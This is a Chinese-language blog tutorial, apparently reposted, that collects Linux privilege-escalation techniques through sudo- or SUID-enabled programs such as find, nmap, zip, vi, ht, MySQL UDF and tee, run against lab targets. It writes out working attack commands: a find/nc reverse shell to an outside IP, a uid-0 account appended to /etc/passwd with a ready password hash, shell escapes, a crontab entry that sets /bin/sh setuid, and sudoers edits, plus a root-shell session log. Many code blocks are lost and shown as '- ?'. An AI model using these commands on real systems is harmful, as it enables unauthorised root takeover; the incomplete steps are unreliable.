Linux通过第三方应用提权实战总结
Linux提權(quán),前提是拿到了一個(gè)低權(quán)限的賬號(hào),能上傳和下載文件,主要思路有:
1、內(nèi)核提權(quán)。網(wǎng)上各種大佬的payload很多,關(guān)鍵在于要能找到利用哪個(gè)exp以及具體如何利用。省力點(diǎn)的方法是用searchsploit或者linux-exploit-suggester.sh來(lái)查找,熟悉之后難度也不大。
2、suid提權(quán)。這里也包含了sudo這種方式,兩種方法的思路都是一樣的,區(qū)別在于suid針對(duì)單個(gè)程序,sudo針對(duì)某個(gè)用戶。這類(lèi)提權(quán)方式的主要思路是:管理員授權(quán)普通用戶去執(zhí)行 root 權(quán)限的操作,而不需要知道 root 的密碼,合理的利用擁有root權(quán)限的程序,就可以實(shí)現(xiàn)提權(quán)。通常遇到的情況有:
(1)直接提權(quán),sudo -i 就可以切換到root了;
(2)修改系統(tǒng)文件,如計(jì)劃任務(wù)文件、用戶文件、密碼文件、sudoers文件等,本文把這個(gè)作為彩蛋后續(xù)也講一下;
(3)修改程序本身,如果對(duì)程序有寫(xiě)權(quán)限的話,直接把反彈的bash命令寫(xiě)到程序里,運(yùn)行程序即可提權(quán);
(4)對(duì)程序進(jìn)行溢出,部分程序通過(guò)端口可以實(shí)現(xiàn)和用戶的交互,這也就存在可以溢出的前提。
總的來(lái)說(shuō),suid提權(quán)難度沒(méi)有上限和下限,簡(jiǎn)單的直接一個(gè)sudo -i命令,難的涉及到溢出,相當(dāng)于在挖0day。
3、第三方應(yīng)用提權(quán)。
某些程序使用root權(quán)限啟動(dòng),如果第三方服務(wù)或者程序存在漏洞或者配置問(wèn)題,可以被利用來(lái)獲得root權(quán)限。相比前幾種方式,難度屬于中間,不像內(nèi)核提權(quán)套路很固定,也不像suid提權(quán)方法很靈活多樣。
本文總結(jié)了常見(jiàn)的一些第三方應(yīng)用的提權(quán)方法,所以的方法都經(jīng)過(guò)實(shí)際測(cè)試,拿出來(lái)與大家相互交流和學(xué)習(xí)。(為避免文章篇幅過(guò)于冗長(zhǎng),每個(gè)應(yīng)用具體的提權(quán)原理就不詳細(xì)介紹了,感興趣的自行查閱相關(guān)文檔)
find提權(quán)
實(shí)例1
一個(gè)典型的例子是將SUDO權(quán)限分配給find命令,以便其他用戶可以在系統(tǒng)中搜索特定的文件相關(guān)文件。盡管管理員可能不知道’find’命令包含用于執(zhí)行命令的參數(shù),但攻擊者可以以root特權(quán)執(zhí)行命令。
拿到普通用戶權(quán)限之后,使用sudo –l查看下, 查看當(dāng)前是否存在當(dāng)前用戶可以調(diào)用sudo的命令,如下圖,當(dāng)前用戶可以執(zhí)行find命令,然后通過(guò)find命令獲取root權(quán)限。
nc正向反彈
nc反向反彈
find /var/www/dirty -exec nc 192.168.167.4 8888 -t -e /bin/sh \實(shí)例2
查找具有特殊權(quán)限SUID的文件
find / -perm -u=s -type f 2>/dev/null如果find以SUID權(quán)限運(yùn)行,所有通過(guò)find執(zhí)行的命令都會(huì)以root提權(quán)運(yùn)行
通過(guò)find命令給wget命令提供SUID權(quán)限。
通過(guò)OpenSSL passwd 生成一個(gè)新的用戶hacker,密碼為hack123
openssl passwd -1 -salt hacker hack123 $1$hacker$0vnQaCNuzDe3w9d6jHfXQ0將其追加到kali的/etc/passwd文件中
將
hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:/root:/bin/bash
追加到passwd中
在Kali上啟動(dòng)一個(gè)python服務(wù)器
python -m SimpleHTTPServer 8000
將Kali上的passwd文件下載到靶機(jī)etc目錄下并覆蓋原來(lái)的passwd文件
- ?
然后切換到hacker用戶即可,
nmap提權(quán)
實(shí)例1
nmap被suid分配了root權(quán)限;
用nmap來(lái)提權(quán);
實(shí)例2
當(dāng)單個(gè)用戶被分配了root權(quán)限時(shí),
nmap提權(quán);
echo "os.execute('/bin/bash')" >> shell.nce sudo nmap -script=/tmp/shell.ncepip提權(quán)
pip命令被分配了root權(quán)限
pip提權(quán);
- ?
- ?
- ?
zip提權(quán)
zip命令被分配了root權(quán)限
我們可以發(fā)現(xiàn) sarang 用戶可以以 root 用戶身份權(quán)限來(lái)運(yùn)行 zip 命令,那么我們就可以通過(guò) ZIP 來(lái)進(jìn)行提權(quán):
- ?
- ?
還有一種可以這樣玩:先創(chuàng)建一個(gè) liuwx 文件,然后在將它壓縮為zip文件,最后使用unzip-command來(lái)執(zhí)行bash命令從而提權(quán):
- ?
sudo zip /tmp/liuwx.zip /home/sarang/liuwx -T —unzip-command=”sh -c /bin/bash” tmp為可寫(xiě)目錄,所以壓縮包放在tmp下;
git提權(quán)
git命令被分配了root權(quán)限
利用git來(lái)提權(quán);
- ?
- ?
粘貼代碼到此處,然后回車(chē)完成提權(quán);
還可以;
- ?
在末行命令模式輸入 !/bin/bash 或 !’sh’ 完成提權(quán)
screen提權(quán)
Screen是一款由GNU計(jì)劃開(kāi)發(fā)的用于命令行終端切換的自由軟件。用戶可以通過(guò)該軟件同時(shí)連接多個(gè)本地或遠(yuǎn)程的命令行會(huì)話,并在其間自由切換。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了統(tǒng)一的管理多個(gè)會(huì)話的界面和相應(yīng)的功能。
在Screen環(huán)境下,所有的會(huì)話都獨(dú)立的運(yùn)行,并擁有各自的編號(hào)、輸入、輸出和窗口緩存。用戶可以通過(guò)快捷鍵在不同的窗口下切換,并可以自由的重定向各個(gè)窗口的輸入和輸出。
仔細(xì)閱讀下41154.sh腳本的內(nèi)容,具體操作步驟為:
把41154.sh的代碼分為3個(gè)文件;
將兩個(gè)c文件在本地編譯后,上傳到靶機(jī)下,更改權(quán)限后運(yùn)行;
exim4提權(quán)
Exim4是在劍橋大學(xué)開(kāi)發(fā)的另一種消息傳輸代理(MTA),用于在連接到Internet的Unix系統(tǒng)上使用。盡管exim的配置與sendmail的配置完全不同,但是可以安裝Exim代替sendmail。
sudo -l用之前的密碼試了不對(duì),發(fā)現(xiàn)exim4;
查看exim4當(dāng)前版本號(hào)
- ?
或者 dpkg -l | grep exim 查看包安裝情況
查找漏洞;
用法介紹;
上傳腳本;執(zhí)行后成功;
vi提權(quán)
vi命令分配了root權(quán)限
運(yùn)行sudo -l發(fā)現(xiàn)該用戶可以任意用戶執(zhí)行vi,按esc后輸入:!/bin/bash直接提權(quán)至root。
- ?
esc退出,然后輸入 :!/bin/bash ;
或者還可以;
- ?
:set shell=/bin/sh 回車(chē)
:shell 回車(chē)
python沙箱逃逸
1337端口用python編寫(xiě)的,于是嘗試python沙箱逃逸
eval(‘import(“os”).system(“whoami”)’) #查看是以什么權(quán)限運(yùn)行
- ?
ht編輯器
ht編輯器被分配了root權(quán)限
- ?
- ?
- ?
- ?
- ?
ht編輯器被分配root權(quán)限。如果編輯/etc/sudoers,在里面給lone這個(gè)用戶的sudo -l 權(quán)限再添加個(gè)/bin/bash,可以直接拿root的shell了。
ht運(yùn)行之前要設(shè)置下,輸入export TERM=xterm
底下就是命令 f3打開(kāi) f2保存
打開(kāi)sudoers,在用戶那又加了個(gè)/bin/bash指令
f2保存退出。。ctrl c
再看看sudo -l,多了命令
- ?
- ?
- ?
- ?
- ?
sudo /bin/bash 搞定,轉(zhuǎn)成root
mysql UDF提權(quán)
查看開(kāi)啟的端口發(fā)現(xiàn)有3306
ps -ef | grep root | grep mysql
很自然想到的MySQL UDF提權(quán),從前面SQL注入中獲取到的信息發(fā)現(xiàn)數(shù)據(jù)庫(kù)版本是5.0.12,但是在上傳動(dòng)態(tài)鏈接庫(kù)后導(dǎo)出時(shí)出錯(cuò)。然而,在查看mysql數(shù)據(jù)庫(kù)時(shí)很幸運(yùn)發(fā)現(xiàn)已經(jīng)存在func表,且表中含有執(zhí)行命令的函數(shù),
mysql> use mysql Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -ADatabase changed mysql> select * from func; +-----------------------+-----+---------------------+----------+ | name | ret | dl | type | +-----------------------+-----+---------------------+----------+ | lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function | | sys_exec | 0 | lib_mysqludf_sys.so | function | +-----------------------+-----+---------------------+----------+ 2 rows in set (0.00 sec)mysql> select sys_exec('usermod -a -G admin john'); +--------------------------------------+ | sys_exec('usermod -a -G admin john') | +--------------------------------------+ | NULL | +--------------------------------------+ 1 row in set (0.05 sec)mysql> exit Bye john@Kioptrix4:/var/www$ sudo su - [sudo] password for john: root@Kioptrix4:~# whoami root root@Kioptrix4:~# cd /root root@Kioptrix4:~# ls congrats.txt lshell-0.9.12 root@Kioptrix4:~#apt-get提權(quán)
執(zhí)行sudo -l,發(fā)現(xiàn)可以免密執(zhí)行adduser命令,添加一個(gè)root組的用戶
有了這個(gè)跟 root 同一組的用戶,就可以讀到一些只能root組和root讀的文件:/etc/sudoers,該文件包含了能夠讓普通用戶執(zhí)行一些或者全部的root命令,如果該文件可以寫(xiě)入的話,我們可以把當(dāng)前用戶寫(xiě)入:chounana ALL=(ALL:ALL) ALL,這樣當(dāng)執(zhí)行sudo su的時(shí)候,我們就可以進(jìn)入到 root 了!
但現(xiàn)在只有讀權(quán)限:
查看sudoers文件,查看還有哪些用戶可以使用sudo執(zhí)行命令,發(fā)現(xiàn)一個(gè)jason用戶,但是這個(gè)用戶并不存在,但是我們是可以新建用戶的,所以需要密碼(自己的密碼)才能執(zhí)行這個(gè)也就沒(méi)有問(wèn)題。
exit退回到saint用戶,新建jason用戶
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
- ?
切換到j(luò)ason用戶,使用apt-get命令提權(quán),因?yàn)橛脩羰亲约航⒌?#xff0c;所以密碼也當(dāng)然是知道的;
- ?
- ?
最后一個(gè)是彩蛋環(huán)節(jié),通過(guò)tee命令來(lái)重寫(xiě)系統(tǒng)文件以達(dá)到提權(quán)的目的,實(shí)戰(zhàn)中不管修改的方式如何變化,但所要修改的文件就這3個(gè)系統(tǒng)文件,修改的內(nèi)容也大同小異。
tee提權(quán)
這里靶機(jī)用的是teehee命令,可以寫(xiě)入文件內(nèi)容并不覆蓋文件原有內(nèi)容,功能與tee命令類(lèi)似。
雖然有密碼,但不能直接切到root,從sudo看,明顯這個(gè)teehee可以不要密碼以root身份運(yùn)行,提權(quán)就靠這個(gè)程序了;
1、修改/etc/passwd用戶信息
追加一個(gè)名為hacker的用戶,將它的uid和gid也設(shè)置為root的0:
- ?
2、修改/etc/crontab計(jì)劃任務(wù)文件
可以在/etc/crontab下寫(xiě)入定時(shí)計(jì)劃,提升到root權(quán)限。
crontab介紹
Linux crontab是用來(lái)定期執(zhí)行程序的命令。當(dāng)安裝完成操作系統(tǒng)之后,默認(rèn)便會(huì)啟動(dòng)此任務(wù)調(diào)度命令。
f1 f2 f3 f4 f5 program其中 f1 是表示分鐘,f2 表示小時(shí),f3 表示一個(gè)月份中的第幾日,f4 表示月份,f5 表示一個(gè)星期中的第幾天。program 表示要執(zhí)行的程序。當(dāng) f1 為 * 時(shí)表示每分鐘都要執(zhí)行 program,f2 為 * 時(shí)表示每小時(shí)都要執(zhí)行程序,其馀類(lèi)推;當(dāng) f1 為 a-b 時(shí)表示從第 a 分鐘到第 b 分鐘這段時(shí)間內(nèi)要執(zhí)行,f2 為 a-b 時(shí)表示從第 a 到第 b 小時(shí)都要執(zhí)行,其馀類(lèi)推;當(dāng) f1 為 */n 時(shí)表示每 n 分鐘個(gè)時(shí)間間隔執(zhí)行一次,f2 為 */n 表示每 n 小時(shí)個(gè)時(shí)間間隔執(zhí)行一次,其馀類(lèi)推;當(dāng) f1 為 a, b, c,... 時(shí)表示第 a, b, c,... 分鐘要執(zhí)行,f2 為 a, b, c,... 時(shí)表示第 a, b, c...個(gè)小時(shí)要執(zhí)行,其馀類(lèi)推 * * * * *- - - - -| | | | || | | | +----- 星期中星期幾 (0 - 7) (星期天 為0)| | | +---------- 月份 (1 - 12) | | +--------------- 一個(gè)月中的第幾天 (1 - 31)| +-------------------- 小時(shí) (0 - 23)+------------------------- 分鐘 (0 - 59)所以我們可以追加內(nèi)容為:echo “?* root chmod 4777 /bin/sh” | sudo teehee -a /etc/crontab,表示在/etc/crontab下寫(xiě)入定時(shí)計(jì)劃,一分鐘后由root用戶給 /bin/bash 命令加權(quán)限(chmod 4777即開(kāi)啟suid和rwx權(quán)限):
3、修改/etc/sudoers文件
先看看本地sudoers文件的語(yǔ)法。cat sudoers;
仿造寫(xiě)一個(gè) charles ALL=(ALL:ALL) ALL
可以看到現(xiàn)在charles可以以root用戶身份運(yùn)行所有命令
總結(jié)
此次對(duì)于第三方應(yīng)用的提權(quán)總結(jié)就告一段落了,相對(duì)suid提權(quán)而言,第三方應(yīng)用提權(quán)可查的資料更多一點(diǎn),套路也相對(duì)單一點(diǎn),不像suid提權(quán)需要根據(jù)程序的具體情況來(lái)處理,沒(méi)有相對(duì)固定的套路。對(duì)第三方應(yīng)用提權(quán)多進(jìn)行總結(jié)和歸納,當(dāng)再次遇到的時(shí)候心里更有底,也就不那么慌了。
總結(jié)
以上是生活随笔為你收集整理的Linux通过第三方应用提权实战总结的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 某大学多站联动获取webshell
- 下一篇: python脚本自动运行失败_Linux